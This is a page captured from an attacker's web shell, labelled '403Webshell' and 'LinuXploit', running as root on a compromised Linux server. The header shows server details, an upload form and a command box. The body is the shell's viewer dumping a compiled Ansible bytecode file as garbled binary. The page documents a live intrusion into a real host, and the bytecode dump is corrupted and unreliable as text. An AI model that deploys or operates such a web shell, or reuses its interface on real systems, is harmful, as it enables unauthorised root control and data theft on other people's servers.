403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/executor/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/executor/__pycache__/interpreter_discovery.cpython-312.pyc
�

1<�e�&���ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
mZddl
mZmZddlmZddlmZddlmZddlmZdd	lmZdd
lmZej8j;�D��cic]$\}}|j=�|j=���&c}}Ze�Z e	jBd�Z"Gd�d
e#�Z$d�Z%d�Z&d�Z'ycc}}w)�)�absolute_import�division�print_functionN)�	constants)�	to_native�to_text)�LinuxDistribution)�Display)�get_versioned_doclink)�LooseVersion)�Distribution)�
format_excz((?s)PLATFORM[\r\n]+(.*)FOUND(.*)ENDFOUNDc�*��eZdZ�fd�Zd�Zd�Z�xZS)�!InterpreterDiscoveryRequiredErrorc�H��tt|�|�||_||_y�N)�superr�__init__�interpreter_name�discovery_mode)�self�messagerr�	__class__s    ��H/usr/lib/python3/dist-packages/ansible/executor/interpreter_discovery.pyrz*InterpreterDiscoveryRequiredError.__init__s#���
�/��?��H� 0���,���c��|jSr�r�rs r�__str__z)InterpreterDiscoveryRequiredError.__str__!s���|�|�rc��|jSrrrs r�__repr__z*InterpreterDiscoveryRequiredError.__repr__$s���|�|�r)�__name__�
__module__�__qualname__rrr!�
__classcell__)rs@rrrs���-�
�rrc�R�|dk7rtdj|���|jdd�}d}d}dg}|jd�}|j	d�}		t
jjd|�	�}
t
jjd
|�	�}tjdj|�|��|D�cgc]}d
|z��	}
}djdj|
��}|j|d��}|jdd�}tj|�}|s1tjdj|�|��td��|j�dj!�j#�}|j�dj%�D�cgc]$}|jd�s�|j#���&}}tjdj|�|��|s.|	s+|j&j)dj||��y|dk7r#t+djt-|����t/j0dd�}|j2j4r|j|dd|� �}nt+d!��t7j8|jd��}t;|�\}}|r|st+d"��t<j|j!�j#��}|
j|j!�j#��xs|
j|�}|st+d#j|���t?tA||�d$�%�}|rC|dk7r>d|vr:|	s7|j&j)d&j||||tCd'���y||vrs||vr-|	s+|j&j)d(j||��|	s;|j&j)d)j|||||dtCd'���|dS|Scc}wcc}w#t*$r9}tjd*jt?|��|��Yd}~n�d}~wtD$r�}|	s�tjGd+j|t?|���,�tjd-jt?tI���|��|rO|jd.�r>tjd/jt?|jd.���|��Yd}~nd}~wwxYw|	s9|j&j)d0j|||dtCd'���|dS)1N�pythonz+Interpreter discovery not supported for {0}�inventory_hostname�unknownz/usr/bin/python�auto_legacy�_silent�_INTERPRETER_PYTHON_DISTRO_MAP)�	variables�INTERPRETER_PYTHON_FALLBACKz$Attempting {0} interpreter discovery)�msg�hostzcommand -v '%s'z4echo PLATFORM; uname; echo FOUND; {0}; echo ENDFOUNDz; F)�sudoable�stdout�z%raw interpreter discovery output: {0})r0z3unexpected output from Python interpreter discoveryr��/zfound interpreters: {0}z5No python interpreters found for host {0} (tried {1})�linuxz0unsupported platform for extended discovery: {0}zansible.executor.discoveryzpython_target.py)r1�in_dataz>pipelining support required for extended interpreter discoveryz-unable to get Linux distribution/version infoz#unsupported Linux distribution: {0}�surrogate_or_strict)�errorsz�Distribution {0} {1} on host {2} should use {3}, but is using /usr/bin/python for backward compatibility with prior Ansible releases. See {4} for more informationz/reference_appendices/interpreter_discovery.htmlzCPlatform interpreter {0} on host {1} is missing from bootstrap listz�Distribution {0} {1} on host {2} should use {3}, but is using {4}, since the discovered platform python interpreter was not present. See {5} for more information.z+Python interpreter discovery fallback ({0})zAUnhandled error in Python interpreter discovery for host {0}: {1})r/z$Interpreter discovery traceback:
{0}�stderrz(Interpreter discovery remote stderr:
{0}z�Platform {0} on host {1} is using the discovered Python interpreter at {2}, but future installation of another Python interpreter could change the meaning of that path. See {3} for more information.)%�
ValueError�format�get�
startswith�endswith�C�config�get_config_value�display�vvv�join�_low_level_execute_command�foundre�match�debug�groups�lower�strip�
splitlines�_discovery_warnings�append�NotImplementedErrorr�pkgutil�get_data�_connection�has_pipelining�json�loads�_get_linux_distro�OS_FAMILY_LOWERr�_version_fuzzy_matchr�	Exception�warningr)�actionrr�	task_varsr0�res�
platform_type�found_interpreters�is_auto_legacy�	is_silent�platform_python_map�bootstrap_python_list�py�command_list�shell_bootstrap�
raw_stdoutrH�interp�platform_script�
platform_info�distro�version�family�version_map�platform_interpreter�exs                          r�discover_interpreterrr)sS���8�#��F�M�M�N^�_�`�`��=�=�-�y�9�D�
�C��M�,�-��#�.�.�}�=�N��'�'�	�2�I�b|��h�h�7�7�8X�dm�7�n�� !��� 9� 9�:W�cl� 9� m�����?�F�F�GW�X�_c��d�:O�O�2�)�B�.�O��O�P�W�W�X\�Xa�Xa�bn�Xo�p���/�/��%�/�P���W�W�X�s�+�
��
�
�j�)����M�M�B�I�I�*�U�\`�M�a��R�S�S�����q�)�/�/�1�7�7�9�
�;@�<�<�>�!�;L�;W�;W�;Y�t��]c�]n�]n�or�]s�f�l�l�n�t��t��
�
�0�7�7�8J�K�RV�
�W�!���*�*�1�1�3J�JP�&�QU�Wl�Jm�o�&��G�#�%�&X�&_�&_�`i�jw�`x�&y�z�z�!�*�*�+G�I[�\�����,�,��3�3�4F�q�4I�TY�cr�3�s�C�&�&f�g�g��
�
�3�7�7�8�#4�5�
�+�M�:�����W�%�&U�V�V� �$�$�V�\�\�^�%9�%9�%;�<��)�-�-�f�l�l�n�.B�.B�.D�E�h�I\�I`�I`�ag�Ih���%�&K�&R�&R�SY�&Z�[�[�&�';�G�[�'Q�Zo�p���#�'9�9�>P�Tf�>f� ��.�.�5�5�8� �����7K� 5�6g� h�j�	k�*��'9�9�#�+@�@� ��.�.��� f�!'��(<�d�!C�E���*�*��V�5�$�V�F�G�T�;O�Qc�de�Qf�$9�:k�$l�n�o�
&�a�(�(�#�#��gP�� u��H�g����F�M�M�g�VX�k�Z�ae��f�f���|���O�O� d� k� k�lp�ry�z|�r}� ~�O���M�M�F�M�M�g�V`�Vb�Nc�d�ko�M�p��s�w�w�x�(���� L� S� S�T[�\_�\c�\c�dl�\m�Tn� o�vz��{���|����"�"�
�V�-��V�M�4�1C�A�1F�1�2c�d�f�g�
�a� � s`�A,Q�Q�C!Q�5Q�Q�AQ�6F Q�A6Q�Q�
Q�	U&�#/R�U&�#B9U!�!U&c��|jdg�}t|�dk(rt|�r
|d|dfS|jd�}|sytj|�}|jdd�|jd	d�fS)
N�platform_dist_result�rr4�osrelease_content)r3r3�idr3�
version_id)r=�len�anyr	�_parse_os_release_content)rk�dist_resultrv�osrs    rrWrW�s����#�#�$:�B�?�K�
�;��1���[�!1��1�~�{�1�~�-�-�%�)�)�*=�>����
�
5�
5�6G�
H�C��7�7�4���s�w�w�|�S�9�9�9rc�`�|j|�}|r|St|j�D�cgc]
}t|���c}�}t|�}t	j||�}|dk(r|j|dj
�S|j||dz
j
�Scc}w)Nrr4)r=�sorted�keysr�bisect�vstring)rmror^�v�sorted_looseversions�find_looseversion�kposs       rrYrY�s���
�/�/�'�
"�C�
��
�!�K�<L�<L�<N�"O�q�<��?�"O�P��$�W�-���=�=�-�/@�A�D��q�y����3�A�6�>�>�?�?�
�?�?�/��q��9�A�A�B�B��#Ps�B+)(�
__future__rrr�type�
__metaclass__r�rUrQ�re�ansiblerr@�+ansible.module_utils.common.text.convertersrr�ansible.module_utils.distror	�ansible.utils.displayr
�ansible.utils.plugin_docsr�#ansible.module_utils.compat.versionr�.ansible.module_utils.facts.system.distributionr
�	tracebackr�	OS_FAMILY�itemsrKrXrC�compilerGrZrrrrWrY)�kr�s00r�<module>r�s���C�B��
�
���	�"�J�9�)�;�<�G� �4@�4J�4J�4P�4P�4R�S�D�A�q�1�7�7�9�a�g�g�i�'�S��
�)��
�"�*�*�@�
A���	��~!�B
:� C��KTs�,)C

Youez - 2016 - github.com/yon3zu
LinuXploit